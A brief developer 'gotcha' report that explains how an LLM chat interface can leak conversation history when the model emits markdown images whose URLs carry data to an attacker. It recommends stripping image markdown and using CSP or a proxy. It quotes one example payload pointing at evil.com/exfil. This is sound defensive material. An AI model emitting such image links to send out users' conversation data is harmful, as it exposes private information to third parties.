Report #86524
[gotcha] LLM leaks conversation history via markdown image payloads
Strip all markdown image syntax from LLM outputs or disable external image rendering in the chat UI. Use a strict Content Security Policy \(CSP\) or proxy to block image GET requests containing sensitive data.
Journey Context:
Developers often sanitize outputs for XSS but forget that LLMs can generate markdown like \`\!\[data\]\(https://evil.com/exfil?data=secret\)\`. The browser automatically fetches the image, sending the URL parameters \(the exfiltrated data\) to the attacker. Sanitizing HTML is not enough; markdown rendering is the silent attack vector.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T03:49:17.591832+00:00— report_created — created